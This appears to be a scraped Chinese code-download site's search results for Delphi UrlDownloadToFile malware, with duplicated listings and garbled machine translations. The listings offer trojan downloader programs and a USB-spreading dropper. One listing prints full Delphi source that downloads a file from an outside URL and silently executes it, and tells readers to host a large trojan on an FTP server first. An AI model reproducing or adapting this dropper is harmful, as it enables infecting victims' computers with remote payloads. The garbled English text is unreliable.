Description: server.exe为服务端程序，用upx加壳后可达到9k左右,只是简单调用UrlDownloadToFile函数实现，没什么难度。
下载地址和保存路径长度设定为64个字节，主要是为了方便计算偏移地址。
brcc.bat设为你Delphi目录下bin子目录的路径。-server.exe for-service program, UPX shell can be reached about stamina, simply call UrlDownloadToFile Function, and there is nothing more difficult. To download and preserve the path set length of 64 bytes, mainly for the convenience of calculation offset address. Set your brcc.bat Delphi directory bin subdirectory path. Platform: |
Size: 185609 |
Author:zft |
Hits:
Description: 执行后可以下载指定程序并执行
你先把大体积木马放到一固定FTP空间上
打开Delphi 打开down.dpr，看到了吧 改一下编译 ok 个人版下载者：）
用工具压一下，只有10K
这样说完是不行的，说一下代码：
program wsdgsRoad
uses
URLMon,
ShellApi
var
u,l: pchar
{.$R *.res}
function DownloadFile(SourceFile, DestFile: string): Boolean
begin
GetMem(u,100)
GetMem(l,100)
u:= http://www.jm-my.com/ip2.txt //改为你要下载的网址
l:= c:/downpage.txt //改为你要存放并打开文件的路径
try
Result := UrlDownloadToFile(nil, PChar(u), PChar(l), 0, nil) = 0
except
Result := False
end
end
begin
if DownloadFile(u, l) then
begin
ShellExecute(0, PChar( open ), PChar(l),
PChar( ), nil, 0)
end
//freemem(u)
//freemem(l)
end.
先试一下。。。。 ok,
明白了吗 再见-after implementation can be downloaded designated procedures and implement your first Mass Trojans into a fixed space on the open FTP D elphi open down.dpr seen it change your build ok individual downloads : ) tool, pressure that is only 10K finish this is not enough, saying that what code : program uses URLMon wsdgsRoad, ShellApi var u, l : pchar (. $ R *. res) function DownloadFile (Sour ceFile, DestFile : string) : Boolean begin GetMem (u, 100) GetMem (l, 100) u : = http : / / www.jm-my.com/ip2.txt / / read you want to download the website l : = c : / downpage.txt / / read your document storage and open the path to try Result : = UrlDownloadToFile (nil, PChar (u), PChar (l), 0, nil) = 0 except Result : = False end if end begin DownloadFile (u, l) then begin ShellExecute (0, PChar (open) Platform: |
Size: 1436 |
Author:韩冰 |
Hits:
Description: server.exe为服务端程序，用upx加壳后可达到9k左右,只是简单调用UrlDownloadToFile函数实现，没什么难度。
下载地址和保存路径长度设定为64个字节，主要是为了方便计算偏移地址。
brcc.bat设为你Delphi目录下bin子目录的路径。-server.exe for-service program, UPX shell can be reached about stamina, simply call UrlDownloadToFile Function, and there is nothing more difficult. To download and preserve the path set length of 64 bytes, mainly for the convenience of calculation offset address. Set your brcc.bat Delphi directory bin subdirectory path. Platform: |
Size: 185344 |
Author:zft |
Hits:
Description: 执行后可以下载指定程序并执行
你先把大体积木马放到一固定FTP空间上
打开Delphi 打开down.dpr，看到了吧 改一下编译 ok 个人版下载者：）
用工具压一下，只有10K
这样说完是不行的，说一下代码：
program wsdgsRoad
uses
URLMon,
ShellApi
var
u,l: pchar
{.$R *.res}
function DownloadFile(SourceFile, DestFile: string): Boolean
begin
GetMem(u,100)
GetMem(l,100)
u:= http://www.jm-my.com/ip2.txt //改为你要下载的网址
l:= c:/downpage.txt //改为你要存放并打开文件的路径
try
Result := UrlDownloadToFile(nil, PChar(u), PChar(l), 0, nil) = 0
except
Result := False
end
end
begin
if DownloadFile(u, l) then
begin
ShellExecute(0, PChar( open ), PChar(l),
PChar( ), nil, 0)
end
//freemem(u)
//freemem(l)
end.
先试一下。。。。 ok,
明白了吗 再见-after implementation can be downloaded designated procedures and implement your first Mass Trojans into a fixed space on the open FTP D elphi open down.dpr seen it change your build ok individual downloads : ) tool, pressure that is only 10K finish this is not enough, saying that what code : program uses URLMon wsdgsRoad, ShellApi var u, l : pchar (. $ R*. res) function DownloadFile (Sour ceFile, DestFile : string) : Boolean begin GetMem (u, 100) GetMem (l, 100) u : = http :// www.jm-my.com/ip2.txt// read you want to download the website l : = c :/downpage.txt// read your document storage and open the path to try Result : = UrlDownloadToFile (nil, PChar (u), PChar (l), 0, nil) = 0 except Result : = False end if end begin DownloadFile (u, l) then begin ShellExecute (0, PChar (open) Platform: |
Size: 1024 |
Author:韩冰 |
Hits:
Description: 下载者U盘传染源码,能够自动复制文件到刚插入的U盘。-those who download the USB transmission source that can automatically copy files to the newly inserted U disk. Platform: |
Size: 2048 |
Author:王八 |
Hits:
Search - urldownloadtofile delphi